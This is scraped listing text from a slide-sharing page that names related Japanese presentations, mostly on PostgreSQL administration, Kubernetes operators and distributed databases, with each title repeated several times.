CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...
CloudNativePGを動かしてみた! ~PostgreSQL on Kubernetes~(第34回PostgreSQLアンカンファレンス@オンライ...
 
PostgreSQLをKubernetes上で活用するためのOperator紹介!(Cloud Native Database Meetup #3 発表資料)
PostgreSQLをKubernetes上で活用するためのOperator紹介!(Cloud Native Database Meetup #3 発表資料)PostgreSQLをKubernetes上で活用するためのOperator紹介!(Cloud Native Database Meetup #3 発表資料)
PostgreSQLをKubernetes上で活用するためのOperator紹介!(Cloud Native Database Meetup #3 発表資料)
 
速習!論理レプリケーション ~基礎から最新動向まで~(PostgreSQL Conference Japan 2022 発表資料)
速習!論理レプリケーション ~基礎から最新動向まで~(PostgreSQL Conference Japan 2022 発表資料)速習!論理レプリケーション ~基礎から最新動向まで~(PostgreSQL Conference Japan 2022 発表資料)
速習!論理レプリケーション ~基礎から最新動向まで~(PostgreSQL Conference Japan 2022 発表資料)
 
PostgreSQLの統計情報について(第26回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQLの統計情報について(第26回PostgreSQLアンカンファレンス@オンライン 発表資料)PostgreSQLの統計情報について(第26回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQLの統計情報について(第26回PostgreSQLアンカンファレンス@オンライン 発表資料)
 
Vacuum徹底解説
Vacuum徹底解説Vacuum徹底解説
Vacuum徹底解説
 
PostgreSQLによるデータ分析ことはじめ
PostgreSQLによるデータ分析ことはじめPostgreSQLによるデータ分析ことはじめ
PostgreSQLによるデータ分析ことはじめ
 
あなたの知らないPostgreSQL監視の世界
あなたの知らないPostgreSQL監視の世界あなたの知らないPostgreSQL監視の世界
あなたの知らないPostgreSQL監視の世界
 
PostgreSQLのfull_page_writesについて(第24回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQLのfull_page_writesについて(第24回PostgreSQLアンカンファレンス@オンライン 発表資料)PostgreSQLのfull_page_writesについて(第24回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQLのfull_page_writesについて(第24回PostgreSQLアンカンファレンス@オンライン 発表資料)
 
PostgreSQLアーキテクチャ入門(INSIGHT OUT 2011)
PostgreSQLアーキテクチャ入門(INSIGHT OUT 2011)PostgreSQLアーキテクチャ入門(INSIGHT OUT 2011)
PostgreSQLアーキテクチャ入門(INSIGHT OUT 2011)
 
YugabyteDBを使ってみよう - part2 -(NewSQL/分散SQLデータベースよろず勉強会 #2 発表資料)
YugabyteDBを使ってみよう - part2 -(NewSQL/分散SQLデータベースよろず勉強会 #2 発表資料)YugabyteDBを使ってみよう - part2 -(NewSQL/分散SQLデータベースよろず勉強会 #2 発表資料)
YugabyteDBを使ってみよう - part2 -(NewSQL/分散SQLデータベースよろず勉強会 #2 発表資料)
 
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
監査要件を有するシステムに対する PostgreSQL 導入の課題と可能性
 
PostgreSQLのリカバリ超入門(もしくはWAL、CHECKPOINT、オンラインバックアップの仕組み)
PostgreSQLのリカバリ超入門(もしくはWAL、CHECKPOINT、オンラインバックアップの仕組み)PostgreSQLのリカバリ超入門(もしくはWAL、CHECKPOINT、オンラインバックアップの仕組み)
PostgreSQLのリカバリ超入門(もしくはWAL、CHECKPOINT、オンラインバックアップの仕組み)
 
PostgreSQLでスケールアウト
PostgreSQLでスケールアウトPostgreSQLでスケールアウト
PostgreSQLでスケールアウト
 
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
PostgreSQLクエリ実行の基礎知識 ~Explainを読み解こう~
 
スケールアウトするPostgreSQLを目指して!その第一歩!(NTTデータ テクノロジーカンファレンス 2020 発表資料)
スケールアウトするPostgreSQLを目指して!その第一歩!(NTTデータ テクノロジーカンファレンス 2020 発表資料)スケールアウトするPostgreSQLを目指して!その第一歩!(NTTデータ テクノロジーカンファレンス 2020 発表資料)
スケールアウトするPostgreSQLを目指して!その第一歩!(NTTデータ テクノロジーカンファレンス 2020 発表資料)
 
Inside vacuum - 第一回PostgreSQLプレ勉強会
Inside vacuum - 第一回PostgreSQLプレ勉強会Inside vacuum - 第一回PostgreSQLプレ勉強会
Inside vacuum - 第一回PostgreSQLプレ勉強会
 
Docker Compose 徹底解説
Docker Compose 徹底解説Docker Compose 徹底解説
Docker Compose 徹底解説
 
PostgreSQL16新機能紹介 - libpq接続ロード・バランシング(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQL16新機能紹介 - libpq接続ロード・バランシング(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)PostgreSQL16新機能紹介 - libpq接続ロード・バランシング(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQL16新機能紹介 - libpq接続ロード・バランシング(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
 
OSSプロジェクトへのコントリビューション はじめの一歩を踏み出そう!(Open Source Conference 2022 Online/Spring...
OSSプロジェクトへのコントリビューション はじめの一歩を踏み出そう!(Open Source Conference 2022 Online/Spring...OSSプロジェクトへのコントリビューション はじめの一歩を踏み出そう!(Open Source Conference 2022 Online/Spring...
OSSプロジェクトへのコントリビューション はじめの一歩を踏み出そう!(Open Source Conference 2022 Online/Spring...
 

Similar to PostgreSQLのロール管理とその注意点(Open Source Conference 2022 Online/Osaka 発表資料)

PostgreSQL16でのロールに関する変更点(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQL16でのロールに関する変更点(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)PostgreSQL16でのロールに関する変更点(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQL16でのロールに関する変更点(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
MySQL clients
MySQL clientsMySQL clients
MySQL clients
yoku0825
 
db tech showcase 2019 D10 Oracle Database New Features
db tech showcase 2019 D10 Oracle Database New Featuresdb tech showcase 2019 D10 Oracle Database New Features
db tech showcase 2019 D10 Oracle Database New Features
Noriyoshi Shinoda
 
世の中のPostgreSQLエンジニアのpsql設定(第34回PostgreSQLアンカンファレンス@オンライン 発表資料)
世の中のPostgreSQLエンジニアのpsql設定(第34回PostgreSQLアンカンファレンス@オンライン 発表資料)世の中のPostgreSQLエンジニアのpsql設定(第34回PostgreSQLアンカンファレンス@オンライン 発表資料)
世の中のPostgreSQLエンジニアのpsql設定(第34回PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
NTT DATA Technology & Innovation
 
MySQLとPostgreSQLにおける基本的なアカウント管理
MySQLとPostgreSQLにおける基本的なアカウント管理MySQLとPostgreSQLにおける基本的なアカウント管理
MySQLとPostgreSQLにおける基本的なアカウント管理
Shinya Sugiyama
 
Bind Peek をもっと使おうぜ!(柴田 歩) - JPOUG Advent Calendar 2014(Day 5) -
Bind Peek をもっと使おうぜ!(柴田 歩) - JPOUG Advent Calendar 2014(Day 5) -Bind Peek をもっと使おうぜ!(柴田 歩) - JPOUG Advent Calendar 2014(Day 5) -
Bind Peek をもっと使おうぜ!(柴田 歩) - JPOUG Advent Calendar 2014(Day 5) -
歩 柴田
 
私とmysqlとROLE
私とmysqlとROLE私とmysqlとROLE
私とmysqlとROLE
lhfukamachi 深町
 
osoljp 2011.08
osoljp 2011.08osoljp 2011.08
osoljp 2011.08
@ otsuka752
 
MariaDB Columnstore 使いこなそう
MariaDB Columnstore 使いこなそうMariaDB Columnstore 使いこなそう
MariaDB Columnstore 使いこなそう
KAWANO KAZUYUKI
 
[A33] [特濃jpoug statspack on pdb oracle database 12c] 20131115 補足・続報付き
[A33] [特濃jpoug statspack on pdb oracle database 12c] 20131115 補足・続報付き[A33] [特濃jpoug statspack on pdb oracle database 12c] 20131115 補足・続報付き
[A33] [特濃jpoug statspack on pdb oracle database 12c] 20131115 補足・続報付きInsight Technology, Inc.
 
AUDIT MASTER ご紹介資料
AUDIT MASTER ご紹介資料AUDIT MASTER ご紹介資料
AUDIT MASTER ご紹介資料
Hiroko 弘子 Anzawa 安澤
 
進化したのはサーバだけじゃない!〜DBA の毎日をもっと豊かにするユーティリティのすすめ〜
進化したのはサーバだけじゃない!〜DBA の毎日をもっと豊かにするユーティリティのすすめ〜進化したのはサーバだけじゃない!〜DBA の毎日をもっと豊かにするユーティリティのすすめ〜
進化したのはサーバだけじゃない!〜DBA の毎日をもっと豊かにするユーティリティのすすめ〜
Michitoshi Yoshida
 
Oracle In-database-archiving ~Oracleでの論理削除~
Oracle In-database-archiving ~Oracleでの論理削除~Oracle In-database-archiving ~Oracleでの論理削除~
Oracle In-database-archiving ~Oracleでの論理削除~
Daiki Mogmet Ito
 
PostgreSQL Unconference #5 ICU Collation
PostgreSQL Unconference #5 ICU CollationPostgreSQL Unconference #5 ICU Collation
PostgreSQL Unconference #5 ICU Collation
Noriyoshi Shinoda
 
[D14] MySQL 5.6時代のパフォーマンスチューニング *db tech showcase 2013 Tokyo
[D14] MySQL 5.6時代のパフォーマンスチューニング *db tech showcase 2013 Tokyo[D14] MySQL 5.6時代のパフォーマンスチューニング *db tech showcase 2013 Tokyo
[D14] MySQL 5.6時代のパフォーマンスチューニング *db tech showcase 2013 Tokyo
yoyamasaki
 
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについて
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについてCentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについて
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについて
Nobuyuki Sasaki
 
PostgreSQL 12の話
PostgreSQL 12の話PostgreSQL 12の話
PostgreSQL 12の話
Masahiko Sawada
 
PostgreSQL13 新機能紹介
PostgreSQL13 新機能紹介PostgreSQL13 新機能紹介
PostgreSQL13 新機能紹介
Satoshi Hirata
 
DBスキーマもバージョン管理したい!
DBスキーマもバージョン管理したい!DBスキーマもバージョン管理したい!
DBスキーマもバージョン管理したい!
kwatch
 

Similar to PostgreSQLのロール管理とその注意点(Open Source Conference 2022 Online/Osaka 発表資料) (20)

PostgreSQL16でのロールに関する変更点(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQL16でのロールに関する変更点(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)PostgreSQL16でのロールに関する変更点(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
PostgreSQL16でのロールに関する変更点(第41回PostgreSQLアンカンファレンス@オンライン 発表資料)
 
MySQL clients
MySQL clientsMySQL clients
MySQL clients
 
db tech showcase 2019 D10 Oracle Database New Features
db tech showcase 2019 D10 Oracle Database New Featuresdb tech showcase 2019 D10 Oracle Database New Features
db tech showcase 2019 D10 Oracle Database New Features
 
世の中のPostgreSQLエンジニアのpsql設定(第34回PostgreSQLアンカンファレンス@オンライン 発表資料)
世の中のPostgreSQLエンジニアのpsql設定(第34回PostgreSQLアンカンファレンス@オンライン 発表資料)世の中のPostgreSQLエンジニアのpsql設定(第34回PostgreSQLアンカンファレンス@オンライン 発表資料)
世の中のPostgreSQLエンジニアのpsql設定(第34回PostgreSQLアンカンファレンス@オンライン 発表資料)
 
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
 
MySQLとPostgreSQLにおける基本的なアカウント管理
MySQLとPostgreSQLにおける基本的なアカウント管理MySQLとPostgreSQLにおける基本的なアカウント管理
MySQLとPostgreSQLにおける基本的なアカウント管理
 
Bind Peek をもっと使おうぜ!(柴田 歩) - JPOUG Advent Calendar 2014(Day 5) -
Bind Peek をもっと使おうぜ!(柴田 歩) - JPOUG Advent Calendar 2014(Day 5) -Bind Peek をもっと使おうぜ!(柴田 歩) - JPOUG Advent Calendar 2014(Day 5) -
Bind Peek をもっと使おうぜ!(柴田 歩) - JPOUG Advent Calendar 2014(Day 5) -
 
私とmysqlとROLE
私とmysqlとROLE私とmysqlとROLE
私とmysqlとROLE
 
osoljp 2011.08
osoljp 2011.08osoljp 2011.08
osoljp 2011.08
 
MariaDB Columnstore 使いこなそう
MariaDB Columnstore 使いこなそうMariaDB Columnstore 使いこなそう
MariaDB Columnstore 使いこなそう
 
[A33] [特濃jpoug statspack on pdb oracle database 12c] 20131115 補足・続報付き
[A33] [特濃jpoug statspack on pdb oracle database 12c] 20131115 補足・続報付き[A33] [特濃jpoug statspack on pdb oracle database 12c] 20131115 補足・続報付き
[A33] [特濃jpoug statspack on pdb oracle database 12c] 20131115 補足・続報付き
 
AUDIT MASTER ご紹介資料
AUDIT MASTER ご紹介資料AUDIT MASTER ご紹介資料
AUDIT MASTER ご紹介資料
 
進化したのはサーバだけじゃない!〜DBA の毎日をもっと豊かにするユーティリティのすすめ〜
進化したのはサーバだけじゃない!〜DBA の毎日をもっと豊かにするユーティリティのすすめ〜進化したのはサーバだけじゃない!〜DBA の毎日をもっと豊かにするユーティリティのすすめ〜
進化したのはサーバだけじゃない!〜DBA の毎日をもっと豊かにするユーティリティのすすめ〜
 
Oracle In-database-archiving ~Oracleでの論理削除~
Oracle In-database-archiving ~Oracleでの論理削除~Oracle In-database-archiving ~Oracleでの論理削除~
Oracle In-database-archiving ~Oracleでの論理削除~
 
PostgreSQL Unconference #5 ICU Collation
PostgreSQL Unconference #5 ICU CollationPostgreSQL Unconference #5 ICU Collation
PostgreSQL Unconference #5 ICU Collation
 
[D14] MySQL 5.6時代のパフォーマンスチューニング *db tech showcase 2013 Tokyo
[D14] MySQL 5.6時代のパフォーマンスチューニング *db tech showcase 2013 Tokyo[D14] MySQL 5.6時代のパフォーマンスチューニング *db tech showcase 2013 Tokyo
[D14] MySQL 5.6時代のパフォーマンスチューニング *db tech showcase 2013 Tokyo
 
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについて
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについてCentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについて
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについて
 
PostgreSQL 12の話
PostgreSQL 12の話PostgreSQL 12の話
PostgreSQL 12の話
 
PostgreSQL13 新機能紹介
PostgreSQL13 新機能紹介PostgreSQL13 新機能紹介
PostgreSQL13 新機能紹介
 
DBスキーマもバージョン管理したい!
DBスキーマもバージョン管理したい!DBスキーマもバージョン管理したい!
DBスキーマもバージョン管理したい!
 

More from NTT DATA Technology & Innovation

せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
NTT DATA Technology & Innovation
 
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
NTT DATA Technology & Innovation
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NTT DATA Technology & Innovation
 
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
NTT DATA Technology & Innovation
 
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
NTT DATA Technology & Innovation
 
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
NTT DATA Technology & Innovation
 
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
NTT DATA Technology & Innovation
 
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
NTT DATA Technology & Innovation
 
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
NTT DATA Technology & Innovation
 
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
NTT DATA Technology & Innovation
 
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
NTT DATA Technology & Innovation
 
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
NTT DATA Technology & Innovation
 
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
NTT DATA Technology & Innovation
 
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
NTT DATA Technology & Innovation
 
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
NTT DATA Technology & Innovation
 
機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)
機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)
機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)
NTT DATA Technology & Innovation
 
ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)
ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)
ChatGPTのデータソースにPostgreSQLを使う[詳細版](オープンデベロッパーズカンファレンス2023 発表資料)
NTT DATA Technology & Innovation
 
PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...
PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...
PostgreSQL on Kubernetes: Realizing High Availability with PGO (Postgres Ibiz...
NTT DATA Technology & Innovation
 
オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)
オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)
オンプレミス回帰の動きに備えよ ~クラウドの手法をオンプレミスでも実現するには~(CloudNative Days Fukuoka 2023 発表資料)
NTT DATA Technology & Innovation
 
Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)
Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)
Prometheus Operator 入門(Kubernetes Novice Tokyo #26 発表資料)
NTT DATA Technology & Innovation
 

More from NTT DATA Technology & Innovation (20)

せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
せっかくのOSSなんだし、ソースコード読むよね? 〜Apache Kafkaを例にしたOSSソースコードリーディングの基本〜 (Open Source C...
 
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
YugabyteDB適用に向けた取り組みと隠れた魅力 (DSS Asia 2024 発表資料)
 
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
NewSQLの可用性構成パターン(OCHaCafe Season 8 #4 発表資料)
 
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
OSSデータベースの開発コミュニティに参加しよう! (DEIM2024 発表資料)
 
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
COPY FROMで異常データをスキップできるようになった話(第45回 PostgreSQLアンカンファレンス@オンライン 発表資料)
 
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
Cloud Skills Challenge 2023 winter 〜Azureを頑張る理由と頑張り方
 
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
Unlocking Transformation: Implementing GitOps Practices in Conservative Organ...
 
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
Databricksチューニングあれこれ(JEDAI 2023 X‘mas/忘年会 Meetup! LT登壇資料)
 
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
詳説探究!Cloud Native Databaseの現在地点(CloudNative Days Tokyo 2023 発表資料)
 
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
今、改めて考えるPostgreSQLプラットフォーム - マルチクラウドとポータビリティ -(PostgreSQL Conference Japan 20...
 
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
速習! PostgreSQL専用HAソフトウェア: Patroni(PostgreSQL Conference Japan 2023 発表資料)
 
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
pgvectorを使ってChatGPTとPostgreSQLを連携してみよう!(PostgreSQL Conference Japan 2023 発表資料)
 
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
最新機能までを総ざらい!PostgreSQLの注目機能を振り返る(第32回 中国地方DB勉強会 in 岡山 発表資料)
 
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
PostgreSQLのバグとの付き合い方 ~バグの調査からコミュニティへの報告、修正パッチ投稿まで~(Open Source Conference 202...
 
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
骨抜きアジャイルの骨を生み出す 〜私(スクラムマスター)のXP学習記録〜(XP祭り2023 発表資料)
 
機械学習モデルを REST API としてサービングするシステム開発における上流プロセスの絞り込みと効果検証(PM学会2023年度秋季研究発表大会 発表資料)
